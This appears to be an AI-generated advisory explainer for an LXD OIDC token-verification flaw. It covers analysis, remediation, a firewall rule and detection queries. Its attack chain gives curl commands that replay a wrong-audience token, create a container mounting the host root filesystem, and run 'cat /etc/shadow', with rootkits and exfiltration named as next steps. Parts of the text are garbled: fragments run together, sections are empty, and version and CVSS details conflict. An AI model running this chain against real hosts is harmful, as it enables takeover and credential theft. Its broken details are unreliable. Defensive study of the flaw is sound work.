CVE-2026-135384 — Canonical LXD (5.0.12) — CWE-287
Improper authentication in OIDC bearer token verification in Canonical LXD before 5.0.12, 5.21.10, 6.10.2 allows a remote attacker holding a token signed by the configured identity provider to authenticate to the LXD API and gain unauthorized control or impersonate users via presenting tokens issued for other applications, ID tokens, or unverified email claims.
Improper authentication in OIDC bearer token verification in Canonical LXD before 5.0.12, 5.21.10, 6.10.2 allows a remote attacker holding a token signed by the configured identity provider to authenticate to the LXD API and gain unauthorized control or impersonate users via presenting tokens issued for other applications, ID tokens, or unverified email claims.
🎯 What is this vulnerability?
This vulnerability is a Critical Improper Authentication (CWE-287) flaw in Canonical LXD, specifically within its OpenID Connect (OIDC) bearer token verification logic.
Technical Flaw Analysis:
LXD acts as a container manager that can integrate with external Identity Providers (IdP) via OIDC. When an administrator configures LXD to accept OIDC tokens, LXD is responsible for validating these tokens before granting API access. The vulnerability arises because LXD (in versions prior to 5.0.12, 5.21.10, and 6.10.2) fails to strictly validate the audience (aud) claim and the token type of the presented JWT.
Specifically, the flaw allows:
1. Audience Mismatch: An attacker can present a valid JWT signed by the trusted IdP, but issued for a different application (different aud value). LXD incorrectly accepts this token as valid for its own API.
2. Token Type Confusion: LXD may accept ID Tokens (intended for client-side verification of user identity) as valid Access Tokens for API authorization.
3. Unverified Claims: LXD may trust email claims or other user attributes without verifying them against the IdP's userinfo endpoint or strict claim validation policies, allowing impersonation.
CVSS 4.0 Context:
- AV:N / PR:N / UI:N: The attack is network-based, requires no prior authentication, and no user interaction.
- VC:H / VI:H / VA:H: Successful exploitation leads to High impact on Confidentiality, Integrity, and Availability of the LXD instance. Since LXD manages containers, this effectively grants root-equivalent control over the host's container runtime.
- Service Identification: The attacker scans for the LXD API port (default
8443). - Version Fingerprinting: Using
curlornmapscripts, the attacker identifies the LXD version. For example:
AC:H (High Complexity): The attacker must possess a valid token from the same* IdP but intended for a different service. This implies the IdP is shared across multiple applications, or the attacker has compromised a legitimate user's session in another app.
⚡ Attack Chain
1. Discovery & Reconnaissance
curl -k https://target:8443/1.0/
# Response header or body may reveal version, or use:
curl -k https://target:8443/1.0/ -H "Accept: application/json" | jq '.metadata'Authorization: Bearer <JWT> headers, or by examining public documentation or misconfigured endpoints that leak OIDC client IDs.2. Exploitation
The attacker crafts a request to the LXD API using a JWT that is valid for a different audience.Illustrative PoC (Note: Exact endpoint paths may vary slightly by LXD version, but the core API structure is consistent):
# 1. Obtain a valid JWT from the IdP for a DIFFERENT application (e.g., 'web-app')
# Example token structure (simplified):
# {
# "iss": "https://idp.example.com/realms/master",
# "aud": "web-app", # <-- WRONG AUDIENCE for LXD
# "sub": "user123",
# "email": "[email protected]",
# "exp": 1735689600,
# "iat": 1735686000,
# "jti": "abc123"
# }
# Signed with the IdP's private key.
ATTACKER_TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL2lkcC5leGFtcGxlLmNvbS9yZWFsbXMvbWFzdGVyIiwiYXVkIjoid2ViLWFwcCIsInN1YiI6InVzZXIxMjMiLCJlbWFpbCI6ImF0dGFja2VyQGV2aWwuY29tIiwiZXhwIjoxNzM1Njg5NjAwLCJpYXQiOjE3MzU2ODYwMDAsImp0aSI6ImFiYzEyMyJ9.SIGNATURE"
# 2. Send the token to the LXD API
# The LXD API should reject this because 'aud' != 'lxd-client' (or whatever LXD's client ID is)
# But due to the bug, it accepts it.
curl -k https://target:8443/1.0/ \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Accept: application/json"Expected Vulnerable Response:
{
"type": "sync-response",
"status": "Success",
"status_code": 200,
"metadata": {
"api_status": "operational",
"api_version": "1.0",
"auth_methods": ["oidc"],
"public_address": "https://target:8443",
"server_name": "lxd-server",
"version": "5.0.11"
}
}If the response is 200 OK and returns valid API metadata, the authentication bypass is confirmed.
3. Post-Exploitation
Once authenticated, the attacker has full control over the LXD API, which is equivalent to root access on the LXD host (since LXD containers run with high privileges by default).Actions:
1. Create a Malicious Container:
curl -k https://target:8443/1.0/images \
-X POST \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"type": "image",
"properties": {
"architecture": "x86_64",
"os": "ubuntu",
"release": "22.04"
}
}'2. Launch Container with Host Mounts:
curl -k https://target:8443/1.0/containers \
-X POST \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "evil-container",
"config": {
"image.os": "ubuntu",
"image.release": "22.04"
},
"devices": {
"root": {
"path": "/",
"pool": "default",
"type": "disk"
},
"host-root": {
"path": "/",
"source": "/",
"type": "disk"
}
}
}'3. Execute Commands / RCE:
curl -k https://target:8443/1.0/containers/evil-container/exec \
-X POST \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"command": ["/bin/sh", "-c", "id && cat /etc/shadow"],
"environment": {}
}'This allows the attacker to read sensitive files, install rootkits, pivot to the host network, or exfiltrate data from other containers.
🌍 Real World Impact
🛡️ Remediation & Mitigation
1. Patching (Primary Remediation)
Upgrade LXD to the fixed versions:Command to upgrade (Ubuntu/Debian):
sudo apt update
sudo apt upgrade lxd2. Workarounds (If Immediate Patching is Not Possible)
lxd config unset core.oidc_client_id
lxd config unset core.oidc_issuer
lxd config unset core.oidc_public_keyThen restart LXD:
sudo systemctl restart lxd8443) to only trusted internal networks or specific IP addresses.# Example: Allow only from 10.0.0.0/24
sudo ufw allow from 10.0.0.0/24 to any port 8443 proto tcp
sudo ufw deny 8443aud claims if the LXD client ID is known.# ModSecurity Rule (Illustrative)
SecRule REQUEST_HEADERS:Authorization "@rx Bearer\ eyJ" \
"id:100001,\
phase:2,\
pass,\
t:none,\
setvar:tx.jwt_token=+1"
# Decode JWT payload (requires modsec_json or similar)
# Check if 'aud' matches expected LXD client ID
SecRule TX:JWT_AUDIENCE "!@streq lxd-client" \
"id:100002,\
phase:2,\
deny,\
status:401,\
msg:'JWT Audience Mismatch',\
log"Note: This is complex and error-prone. Patching is strongly preferred.
3. Detection
/var/log/lxd/lxd.log) for authentication events. Look for successful logins with tokens that have aud claims different from the configured LXD client ID./1.0/containers or /1.0/images from unexpected IP addresses.
* JWTs with aud values not matching the LXD client ID in the Authorization header.
index=lxd_logs "Authorization: Bearer" |
search "aud" NOT "lxd-client" |
stats count by src_ip, aud⚠️ Urgency
Action Plan:
1. Immediate: If OIDC is not essential, disable it.
2. Within 24-48 Hours: Upgrade LXD to the fixed versions.
3. Ongoing: Audit OIDC configurations to ensure strict audience validation and monitor for anomalous token usage.
[🤖 CVE Professor AI Security Engine]
FOFA Query